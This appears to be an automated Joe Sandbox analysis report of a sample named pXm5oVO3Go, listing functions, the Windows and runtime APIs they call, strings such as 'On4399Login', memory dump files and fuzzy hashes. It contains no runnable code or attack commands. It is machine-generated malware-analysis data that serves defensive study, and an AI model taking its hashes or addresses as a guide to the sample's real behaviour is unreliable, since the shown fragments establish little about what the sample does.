VariantChangeType.OLEAUT32 ref: 00412A22
VariantClear.OLEAUT32(?), ref: 00412A44

Strings

On4399Login, xrefs: 004129B2

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Variant$Clear$ChangeCopyFreeH_prolog3StringTypelstrlen
String ID: On4399Login
API String ID: 3003656826-719521963
Opcode ID: 0c73eddbf2bcf25958b6e0e781ce6a07445fd9abe0e3f12cfb96ee8b58a3d5cd
Instruction ID: 5d222733b6dc8b3f54be17e695bbb7c01374b1a4a9ed15aaa50285a240750d4c
Opcode Fuzzy Hash: 0c73eddbf2bcf25958b6e0e781ce6a07445fd9abe0e3f12cfb96ee8b58a3d5cd
Instruction Fuzzy Hash: FD216B71208701AFD310DF28CC46B5BB7E9FF89724F008A2DF595D7290EB78A9048B96

Function 004038A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 004038C4

Part of subcall function 00639CAB: GetSystemTimeAsFileTime.KERNEL32(004039B9,?,?,?,004039B9,?), ref: 00639CB6
Part of subcall function 00639CAB: __aulldiv.LIBCMT ref: 00639CD6

__localtime64_s.LIBCMT ref: 004038D7
_memset.LIBCMT ref: 004038F2

Part of subcall function 00406490: _vswprintf_s.LIBCMT ref: 004064A1

Strings

%04d-%02d-%02d %02d:%02d:%02d, xrefs: 00403928

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__localtime64_s__time64_memset_vswprintf_s
String ID: %04d-%02d-%02d %02d:%02d:%02d
API String ID: 3156645594-4146437471
Opcode ID: a16a008088b9f56a31778b2dcf5c1334517a543c49de5ed3ede09de6744d7d87
Instruction ID: 15b2947ff6a5db42539aadc5135ab5fbd8eee3ececa8eac2c0325d1fac083d0f
Opcode Fuzzy Hash: a16a008088b9f56a31778b2dcf5c1334517a543c49de5ed3ede09de6744d7d87
Instruction Fuzzy Hash: A12162719002189BCB64EF94DC49BEBB3B9EF48304F4042DDA50A97241DB78AF44CF94

Function 00422FB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00422FD4

Part of subcall function 00639CAB: GetSystemTimeAsFileTime.KERNEL32(004039B9,?,?,?,004039B9,?), ref: 00639CB6
Part of subcall function 00639CAB: __aulldiv.LIBCMT ref: 00639CD6

__localtime64_s.LIBCMT ref: 00422FE7
_memset.LIBCMT ref: 00423002

Part of subcall function 00406490: _vswprintf_s.LIBCMT ref: 004064A1

Strings

%04d_%02d_%02d_%02d_%02d_%02d, xrefs: 00423038

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__localtime64_s__time64_memset_vswprintf_s
String ID: %04d_%02d_%02d_%02d_%02d_%02d
API String ID: 3156645594-93539013
Opcode ID: 0526b4803325ebd150cafc0210276a305306880acaed0b59d1ebb4d9f9cf6030
Instruction ID: d5d1dacfc4af3f9f040ec24c02856240f88c3ff2530fd8b4ec03b638b15ec1f6
Opcode Fuzzy Hash: 0526b4803325ebd150cafc0210276a305306880acaed0b59d1ebb4d9f9cf6030
Instruction Fuzzy Hash: FD2142719112189BCB64EF54DC49BDBB3F9EF48704F4042DDA40A97241DB78AB44CF95

Function 00403990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 004039B4

Part of subcall function 00639CAB: GetSystemTimeAsFileTime.KERNEL32(004039B9,?,?,?,004039B9,?), ref: 00639CB6
Part of subcall function 00639CAB: __aulldiv.LIBCMT ref: 00639CD6

__localtime64_s.LIBCMT ref: 004039C7
_memset.LIBCMT ref: 004039E2

Part of subcall function 00406490: _vswprintf_s.LIBCMT ref: 004064A1

Strings

%d-%d-%d, xrefs: 00403A03

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__localtime64_s__time64_memset_vswprintf_s
String ID: %d-%d-%d
API String ID: 3156645594-1067691376
Opcode ID: c5c87357be4c98ca3ecd8e5a9591ece30f3b8fa64cc049ffa35eda3bbaa30f68
Instruction ID: 23a16f6b0a6d0b17663dc7892d2e80e6e6363daeedcece8f305be328ad56f313
Opcode Fuzzy Hash: c5c87357be4c98ca3ecd8e5a9591ece30f3b8fa64cc049ffa35eda3bbaa30f68
Instruction Fuzzy Hash: 0A1151759003189BCB64EF54DC49BEBB3F9EF48704F4046D9A80A97241EB786B44CF95

Function 00425950 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS ref: 0042597D
GdipDisposeImage.GDIPLUS(?), ref: 00425994
GdipDisposeImage.GDIPLUS(?,005A0D08), ref: 004259BA

Strings

hqm, xrefs: 00425971

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID: hqm
API String ID: 800915452-3164739288
Opcode ID: 6f22389f9ee89c898598460b817fd1876523e87269959f077286564e6c20e882
Instruction ID: c1ef16143cb8cd1fc15283b845f64306847cceadf28a02d869238304c3ffdad0
Opcode Fuzzy Hash: 6f22389f9ee89c898598460b817fd1876523e87269959f077286564e6c20e882
Instruction Fuzzy Hash: 3D018FB2608225AB8310EF18A84485FFBE9EBC8721F004A1FF944D3310DA34C945CBEA

Function 036511CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 036511E2

Part of subcall function 0365113D: ___BuildCatchObjectHelper.LIBCMT ref: 03651173

_UnwindNestedFrames.LIBCMT ref: 036511F9

Strings

csm, xrefs: 036511DE, 036511F3, 03651206, 03651224, 03651234
csm, xrefs: 036511D1

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: 5fa5d94fe26b07c38bf4a866a620b82beead742ddc331e6701a6d94e90396ba4
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: E701FB7540120ABBDF22AF51CD85EAA7F6AFF09354F044064BD1859220D736D9B1DBA4

Function 100111CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 100111DE

Part of subcall function 10011139: ___BuildCatchObjectHelper.LIBCMT ref: 1001116F

_UnwindNestedFrames.LIBCMT ref: 100111F5

Strings

csm, xrefs: 100111DA, 100111EF, 10011202, 10011220, 10011230
csm, xrefs: 100111CD

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: 13fce880b5995998a5e615debbc516f60a37a3f13fe80d83b25b8dab8ba688de
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: B401FB3540110ABBDF169F51CC85EDA7F6AFF08394F004010FD5819121D776E9B1DBA0

Function 00426710 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00426746
__CxxThrowException@8.LIBCMT ref: 0042675B

Part of subcall function 005373CC: _malloc.LIBCMT ref: 005373EA

Strings

ieB6A7Au6A", xrefs: 0042673C, 00426750, 00426753
u6A", xrefs: 00426738, 0042673B

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: ieB6A7Au6A"$u6A"
API String ID: 4063778783-2612920253
Opcode ID: 328c220b32d40f171b15634ce83f9b634308f59b7d92a067a936f59f01f4bf3f
Instruction ID: ce9e8872aa3521b847ada45dcded9d4a69b10e2cd2495da4b5261623828ab12f
Opcode Fuzzy Hash: 328c220b32d40f171b15634ce83f9b634308f59b7d92a067a936f59f01f4bf3f
Instruction Fuzzy Hash: 0CE065B091021E56DB14FBE8BE557FFB3A8AB44314F400A5EE81552281FB7496188596

Function 00416076 Relevance: 6.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00416076

Part of subcall function 00639CAB: GetSystemTimeAsFileTime.KERNEL32(004039B9,?,?,?,004039B9,?), ref: 00639CB6
Part of subcall function 00639CAB: __aulldiv.LIBCMT ref: 00639CD6

_free.LIBCMT ref: 00416558
_free.LIBCMT ref: 00416576
_free.LIBCMT ref: 004165CB

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _free$Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2144621163-0
Opcode ID: ae325ad0978f90a2bcb23a69e0fe8c2e240c595b26e3e1eb508136fca242f566
Instruction ID: e597b6e21c83b24130f071aa91b61d5d9bc74d6e09b869afe4f0e8ae7f2d0e3b
Opcode Fuzzy Hash: ae325ad0978f90a2bcb23a69e0fe8c2e240c595b26e3e1eb508136fca242f566
Instruction Fuzzy Hash: 1CF1FEB1D052688FEB64DF68C940BDEBBB2AF48304F0080EED50DA7241EB745A84CF56

Function 0040D410 Relevance: 6.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 0040D4C4
_memcpy_s.LIBCMT ref: 0040D532
_memcpy_s.LIBCMT ref: 0040D5AD
_memcpy_s.LIBCMT ref: 0040D61C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 4aae6be86b3d1d6b4d14aff822c58be8236295e128db5a4c594978f02a2d8c6c
Instruction ID: 8c24046f839265f7dd94c471ccf04658c85cbb5e949e23bb84d2cde45bcb72f7
Opcode Fuzzy Hash: 4aae6be86b3d1d6b4d14aff822c58be8236295e128db5a4c594978f02a2d8c6c
Instruction Fuzzy Hash: 36818D75A00200EFD725DF58C884E6AF7F5FF88304F15896EE8559B391D774AA09CB90

Function 00414083 Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(0FC63B00), ref: 00414099
__beginthread.LIBCMT ref: 004140A7

Part of subcall function 0053B74E: ShowWindow.USER32(?,00000010,?,00414550,00000005,ED2F953D,00000001,?,00000000,006810BE,000000FF,?,004133F1), ref: 0053B75F

GetParent.USER32(?), ref: 004140BC
ShowWindow.USER32(?,00000000,00000000), ref: 004140D2

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ShowWindow$CloseHandleParent__beginthread
String ID:
API String ID: 1493545653-0
Opcode ID: ffa002d93298e9499bd8dd7db7d0b7f8f1a69d8d5c3601c1ed2bd556b26548dc
Instruction ID: 40fa224e23b8f830ad82b08462eb6a28997bcf049a9d30b45e0b5e7cf52f7138
Opcode Fuzzy Hash: ffa002d93298e9499bd8dd7db7d0b7f8f1a69d8d5c3601c1ed2bd556b26548dc
Instruction Fuzzy Hash: A5517B70601A419FD344CB6CCC55B5AB7A5FF9A324F28C299E429CB3A6CB35ED05CB90

Function 0063A520 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0063A5BB
__flush.LIBCMT ref: 0063A5D9
__write.LIBCMT ref: 0063A600
__flsbuf.LIBCMT ref: 0063A62B

Part of subcall function 0063CD63: __getptd_noexit.LIBCMT ref: 0063CD63

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a584004fc8b3a9089610cee54cf01574a296b3d080a3ef681ce58d3a7734c3a5
Instruction ID: c7fab856d2a27a766db93898b076ec008c535135ce2a0e5626932eaa9228ed76
Opcode Fuzzy Hash: a584004fc8b3a9089610cee54cf01574a296b3d080a3ef681ce58d3a7734c3a5
Instruction Fuzzy Hash: 8041B231A006049BDF249FE9C845AAEBBB7AF81730F28852CE49597390D770DD55EBC2

Function 004028B0 Relevance: 6.1, APIs: 4, Instructions: 104COMMON

Download Yara Rule

APIs

____mb_cur_max_func.LIBCMT ref: 00402900

Part of subcall function 00639212: __getptd.LIBCMT ref: 00639212

__Wcrtomb.LIBCPMT ref: 00402920

Part of subcall function 0065E3E4: ____lc_handle_func.LIBCMT ref: 0065E3F2
Part of subcall function 0065E3E4: ____lc_codepage_func.LIBCMT ref: 0065E3FA

__Wcrtomb.LIBCPMT ref: 00402942
_memmove.LIBCMT ref: 00402961

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Wcrtomb$____lc_codepage_func____lc_handle_func____mb_cur_max_func__getptd_memmove
String ID:
API String ID: 3492520905-0
Opcode ID: 8207e427de21746d45508ff11f3c515f112166457444a55717eab402c0ad729e
Instruction ID: 9831e8d324916d0bc7efbe47cdbc09d3889d4b1a451e8b32cc14a188b638ffe8
Opcode Fuzzy Hash: 8207e427de21746d45508ff11f3c515f112166457444a55717eab402c0ad729e
Instruction Fuzzy Hash: 393130B5B0020A9FCB14DF58D9819AEB3F5FF98310F10446EE985A7381D7789D50CBA5

Function 00647109 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0064713D
__isleadbyte_l.LIBCMT ref: 00647170
MultiByteToWideChar.KERNEL32(00000080,00000009,0063B8F1,?,00000000,00000000,?,?,?,?,0063B8F1,00000000), ref: 006471A1
MultiByteToWideChar.KERNEL32(00000080,00000009,0063B8F1,00000001,00000000,00000000,?,?,?,?,0063B8F1,00000000), ref: 0064720F

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 688babb82090d7b222c19621c08e13c2a58b9a57ca6fac4f01b99b7c2f31f7d9
Instruction ID: a99febe395971e34e12f635b1b3c0d0681f2f1ecd1848f63a14cac2f5e62c5c7
Opcode Fuzzy Hash: 688babb82090d7b222c19621c08e13c2a58b9a57ca6fac4f01b99b7c2f31f7d9
Instruction Fuzzy Hash: 84318E31A08286EFEB20DF64CC85AAE7BBBFF01310F1845A9E4659B291D730DD41DB94

Function 03654A29 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 03654A5D
__isleadbyte_l.LIBCMT ref: 03654A90
MultiByteToWideChar.KERNEL32(00000080,00000009,0364ADCF,?,00000000,00000000,?,?,?,?,0364ADCF,00000000), ref: 03654AC1
MultiByteToWideChar.KERNEL32(00000080,00000009,0364ADCF,00000001,00000000,00000000,?,?,?,?,0364ADCF,00000000), ref: 03654B2F

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction ID: 68be06bc7648be7dd8eb30b042813cd98d6aa060be05357a9aba72ad0c042f82
Opcode Fuzzy Hash: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction Fuzzy Hash: CF31E230A00255EFDF62DF65C9859BE7BA5AF01210F0885F8F8648B299EBB0D980DB54

Function 10014A25 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10014A59
__isleadbyte_l.LIBCMT ref: 10014A8C
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,C4830000,?,00000000,?,?,?,100013C8,?,grams), ref: 10014ABD
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,00000001,?,00000000,?,?,?,100013C8,?,grams), ref: 10014B2B

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction ID: 68850b2554d5d5f992d4f98ce77fb82b49c6c0d64f95470cd521bd8ccef0272d
Opcode Fuzzy Hash: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction Fuzzy Hash: C631D231A40286EFDB10CF64C895AAD3BF5EF01291F5B85A9F4608F0A1DB70DD80DB56

Function 03641034 Relevance: 6.1, APIs: 4, Instructions: 85stringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 03641054
lstrlen.KERNEL32 ref: 036410AF
_memset.LIBCMT ref: 036410E4
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 03641103

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharInitializeMultiWide_memsetlstrlen
String ID:
API String ID: 4073151907-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: 6f5a66ae1fb900e88fde78b0f053d829fd7854f9bad2fb84aa762073dbdf6768
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: A731E8B4A4122CAFDB10DBA4CC8CEDABBB9EF59701F104598F519DB250DB709A81CF60

Function 10001030 Relevance: 6.1, APIs: 4, Instructions: 85stringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 10001050
lstrlen.KERNEL32 ref: 100010AB
_memset.LIBCMT ref: 100010E0
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 100010FF

